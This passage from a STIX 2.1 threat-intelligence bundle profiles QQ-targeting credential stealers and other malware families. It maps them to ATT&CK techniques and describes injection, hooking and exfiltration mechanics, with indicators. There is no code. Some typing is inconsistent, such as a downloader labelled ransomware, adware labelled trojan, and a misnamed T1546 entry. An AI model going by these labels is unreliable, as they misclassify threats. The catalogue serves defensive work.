        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fc308f61-2b0b-535e-b5f6-e47fc6e1f5b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqmima exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--598c042b-9837-5d57-9cfc-71f899109f2d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqmima exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ddf8b230-7798-56a5-a769-7e749c7f9de0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqmima exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41e56c7f-b4db-5da5-b69c-ed48ca843ea8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqmima exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f5bd1f4f-7b55-53a3-9975-5c0bd179bca3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--65ecf1b5-10e7-5537-902c-a9a02a34cf77",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqmima exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqpass",
      "description": "Trojan-PSW.Win32.QQPass (broadly cataloged in antivirus telemetry as PWS:Win32/QQPass) is an aggressive, specialized password stealer engineered explicitly to target Tencent QQ, one of the most widely used messaging and digital ecosystem platforms in Asia. Operating by actively monitoring running processes for the Tencent QQ client executable, QQPass injects hook procedures into the client's window message loop and memory space, recording user login keystrokes, capturing window handles, and exfiltrating authentication tokens. Stolen credentials are used to hijack accounts, drain virtual currencies (such as Q Coins), and orchestrate automated social engineering scams across the victim's personal and business contact networks via clandestine HTTP POST and SMTP exfiltration channels. (Observed samples in benchmark: 612)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "QQPass",
        "Trojan-PSW.Win32.QQPass",
        "PWS:Win32/QQPass",
        "PSW.QQPass",
        "Win32/QQPass",
        "Trojan.QQPass"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqpass",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqpass"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--62ce624a-82cd-5f6d-a788-55221ea9c610",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c7334572-bf27-524f-b3e5-12c5d3b0e4cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de33440a-3e84-52e8-a3e6-f84babe9bb0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--8dc0a00f-15cb-5381-9682-00d7f381e448",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1555 (Credentials from Password Stores)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b426251f-a1a9-57cb-85fa-babe737b9731",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--63d474ec-e9d3-5395-b778-68a1f12918dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1547.001 (Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f0ca6f82-4af6-515d-b894-a01cdecd9aad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--79eacf0b-8f7f-528f-a09c-e9425a1f4219",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqpass exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b925df5f-6e0e-55cf-9e17-41d71388f6c9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqrob",
      "description": "Trojan:Win32/Qqrob is a highly specific Information Stealer designed to target users of the Tencent QQ instant messaging platform, which is massively popular in China. Its primary objective is to silently hook into the QQ application process (`T1055`), intercept user keystrokes (`T1056.001`), and steal login credentials and session tokens to hijack the victim's account.<br><br><b>Understanding Qqrob (Targeted Info-Stealers)</b><br>To an end-user, the infection might be completely unnoticeable until they find themselves locked out of their QQ account, or their contacts start receiving spam/phishing links from their hijacked profile. For a security analyst, Qqrob represents a localized, highly targeted threat that utilizes API hooking to bypass the encryption often employed by messaging clients.<br><br><b>Execution and Credential Theft Mechanics</b><br>Qqrob is typically distributed via malicious links sent within QQ itself, or bundled with fake QQ 'enhancement' tools (like VIP feature unlockers). Upon execution, it establishes persistence (often via the `Run` registry key). The core mechanism involves process injection (`T1055`): the trojan continuously monitors the system for the execution of `QQ.exe`. Once detected, Qqrob injects a malicious DLL into the QQ process space. This DLL uses API hooking (specifically targeting functions related to keyboard input or network transmission) to capture the user's password *before* the legitimate QQ client encrypts it for transmission to the Tencent servers (`T1056.001`). The stolen credentials are then transmitted via HTTP/SMTP to the attacker.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of the user's QQ identity, often leading to secondary phishing attacks against their contacts. Host-based IoCs include EDR alerts for suspicious process injection specifically targeting `QQ.exe`, and the presence of unknown DLLs loaded into the QQ process memory space. Network IoCs include the trojan making outbound connections to non-Tencent IP addresses immediately following a QQ login event. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqrob",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqrob"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--682b07c1-f9ef-5e52-8cbf-edc0e970de6a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b925df5f-6e0e-55cf-9e17-41d71388f6c9",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqrob exhibits technique T1056.001 (Input Capture: Keylogging (Hooking the QQ process to steal passwords))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f82a7e7-a2a3-5ac7-a196-b778add1589a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b925df5f-6e0e-55cf-9e17-41d71388f6c9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqrob exhibits technique T1055 (Process Injection (Injecting into QQ.exe to facilitate the hook))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6d6a55f-4e07-5f47-815c-f47951ed3164",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b925df5f-6e0e-55cf-9e17-41d71388f6c9",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqrob exhibits technique T1566.002 (Phishing: Spearphishing Link (Primary distribution method via the messaging platform itself))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95f6609c-128d-5cec-91d1-69a7e9373c86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqshou",
      "description": "Trojan:Win32/Qqshou is a specialized trojan designed to target users of the immensely popular Chinese instant messaging platform, Tencent QQ. Its primary objective is the theft of QQ login credentials, virtual currency (Q coins), and in-game assets linked to the account, which are then sold on underground markets.<br><br><b>Understanding Qqshou (Credential Stealers)</b><br>To an end-user, a Qqshou infection usually goes unnoticed until they find themselves locked out of their QQ account or discover their virtual currency has been drained. For a threat intelligence analyst, Qqshou represents a highly targeted, region-specific credential stealer that utilizes keylogging and memory scraping techniques focused entirely on a single application ecosystem.<br><br><b>Execution and Data Exfiltration Mechanics</b><br>Qqshou is typically distributed via malicious links sent through QQ itself, disguised as game cheats, or bundled with pirated software. Upon execution, it establishes persistence (often via Registry Run keys) and actively monitors the system for the execution of the legitimate Tencent QQ client (`qq.exe`). When detected, Qqshou employs various techniques to steal credentials: it may inject a keylogger to capture keystrokes when the QQ window is in focus (`T1056.001`), or it may use memory scraping to extract session tokens directly from the process memory (`T1003`). The stolen data is then exfiltrated to an attacker-controlled server, often via HTTP POST requests or even by sending an email.<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the loss of the QQ account and associated financial assets. Host-based IoCs include EDR alerts for suspicious API calls (like `SetWindowsHookEx` for keylogging) originating from an unknown process and targeting `qq.exe`. Network IoCs involve anomalous outbound connections (often SMTP or HTTP) transmitting encrypted or encoded data immediately after the user logs into QQ. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqshou",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqshou"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27984c5d-5ba1-5fd8-bcd8-fa67bb2d168a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6609c-128d-5cec-91d1-69a7e9373c86",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqshou exhibits technique T1056.001 (Input Capture: Keylogging (Capturing keystrokes when the QQ client is active))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a6e7fcba-7a12-5230-a6d5-d0aa7c0af7a5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6609c-128d-5cec-91d1-69a7e9373c86",
      "target_ref": "attack-pattern--6864732d-cc77-514b-b3ff-9afd19b16e3c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqshou exhibits technique T1003 (OS Credential Dumping (Scraping memory for session tokens))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e48625e4-f566-50f1-a6bb-f10508cb52b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95f6609c-128d-5cec-91d1-69a7e9373c86",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqshou exhibits technique T1114 (Email Collection (Sometimes used to exfiltrate stolen data))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--b01de6ed-4bd2-549f-9ee7-e4a12afcbf5a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqspy",
      "description": "<h3>Executive Summary</h3>\nQQSpy is a highly targeted information stealer and spyware family engineered specifically to compromise users of Tencent QQ, a massive instant messaging and social media platform widely used in Asia. Unlike generic keyloggers, QQSpy is explicitly designed to hook into the QQ application process, bypassing standard encryption to harvest chat logs, contact lists, and the user's primary login credentials.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nQQSpy is predominantly distributed via phishing links sent directly over QQ messenger from compromised accounts, or bundled within \"cracked\" game software and fake QQ \"add-ons\" on third-party download sites.\n\nOnce installed, QQSpy executes its targeted espionage routines:\n<ul>\n<li><strong>Process Injection and API Hooking:</strong> The spyware specifically searches the system for the active `QQ.exe` process. It injects its malicious DLL into this process and hooks the specific Windows APIs used by QQ for keyboard input and screen rendering, allowing it to intercept passwords before they are securely hashed by the client.</li>\n<li><strong>Data Exfiltration:</strong> QQSpy aggressively harvests chat histories, transferred files, and contact lists. It compiles this data into hidden, encrypted archives and periodically transmits it to a remote command-and-control (C2) server.</li>\n<li><strong>Account Hijacking:</strong> By stealing the primary QQ token or password, the attacker can hijack the account. This hijacked account is then used to propagate the malware to the victim's contacts, lending an air of legitimacy to the phishing links.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA QQSpy infection is a severe privacy and security breach. Because QQ is often linked to other services (like QQ Pay and enterprise communications in certain regions), the theft of these credentials can lead directly to financial loss and the compromise of sensitive corporate data.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Password Reset:</strong> Assume the QQ account is fully compromised. The user must immediately reset their QQ password from a known-clean device and forcefully terminate all active sessions within the QQ security center.</li>\n<li><strong>Endpoint Scanning:</strong> Utilize an enterprise-grade anti-malware solution to perform a deep system scan. QQSpy often uses Rootkit techniques to hide its injected DLLs, requiring advanced behavioral analysis for complete removal.</li>\n<li><strong>Network Monitoring:</strong> Analyze network traffic for unauthorized connections to known C2 domains associated with this spyware family to identify potentially compromised endpoints across the network.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Spyware.QQSpy",
        "Trojan.PWS.QQPass",
        "Win32/QQSpy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqspy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqspy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--639cf2aa-2c3e-5e62-961e-d2f51dbbd0b3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01de6ed-4bd2-549f-9ee7-e4a12afcbf5a",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqspy exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--31df41c2-a985-5312-a232-5ab2b3494885",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01de6ed-4bd2-549f-9ee7-e4a12afcbf5a",
      "target_ref": "attack-pattern--0a1fb694-bbfe-5e7d-89e1-1f78720af865",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqspy exhibits technique T1055.001 (Dynamic-link Library Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6ad7bff4-69d7-5e12-bc6e-3515a3218e7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01de6ed-4bd2-549f-9ee7-e4a12afcbf5a",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqspy exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--048fcb35-508f-5fa7-95a0-7c5ef2b23334",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--b01de6ed-4bd2-549f-9ee7-e4a12afcbf5a",
      "target_ref": "attack-pattern--a389ad0f-bf6b-5b6e-b010-747af7b7b803",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqspy exhibits technique T1048 (Exfiltration Over Alternative Protocol)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqten",
      "description": "Trojan:Win32/Qqten is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Qqten</b><br>To an end-user, a Qqten infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Qqten is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Qqten is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Qqten frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Qqten reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqten",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqten"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee304cf5-8eac-5982-9f44-f39f6c63aedb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqten exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8dd9c1fa-5467-5993-bd90-ac74c22971da",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqten exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d14ed33d-07db-520c-a2cd-51e8a99fa7f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqten exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cedf7e90-6849-5981-8b30-2c2467440a68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqten exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c949abc6-2083-5ffc-86fd-21bc6d034ea3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ae247016-aa3e-5985-9c53-4b480681b751",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqten exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Qqware",
      "description": "QQWare (classified across antivirus vendors under BrowserModifier:Win32/QQWare and Adware:Win32/QQWare) is an intrusive adware and browser modification family targeting Windows systems. Typically bundled with Chinese freeware utilities, pirated software, and media players, QQWare forcefully modifies web browser shortcuts, homepages, and default search providers across Google Chrome, Mozilla Firefox, and Internet Explorer. It injects affiliate advertisements, banner pop-ups, and sponsored search links into browsing sessions, routes search queries through monetized portal domains, and installs background watchdog processes to re-apply modifications if removed by the user. (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BrowserModifier:Win32/QQWare",
        "Adware:Win32/QQWare",
        "PUA:Win32/QQWare",
        "QQWare Adware",
        "Win32/QQWare"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Qqware",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/qqware"
        }
      ],
      "labels": [
        "browser_modifier",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f818bf90-814f-5822-b194-7c125836d7d5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqware exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--41e78d95-7456-5c55-9bdc-6af7bf61807a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqware exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9dc45aa5-263a-5de3-85da-eef46dc2a4ab",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "target_ref": "attack-pattern--97755989-abc3-5b4d-b6e3-a1dc72f28f81",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqware exhibits technique T1546 (Event Triggered Execution: Browser Shortcut Modification)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--95542e6d-5bfc-5f43-bedb-ce2c4846f3bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqware exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00b72bd9-05c7-55a3-be7c-57094f9e2bed",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--092b15ad-b854-587a-9ec1-224d76a90e92",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Qqware exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
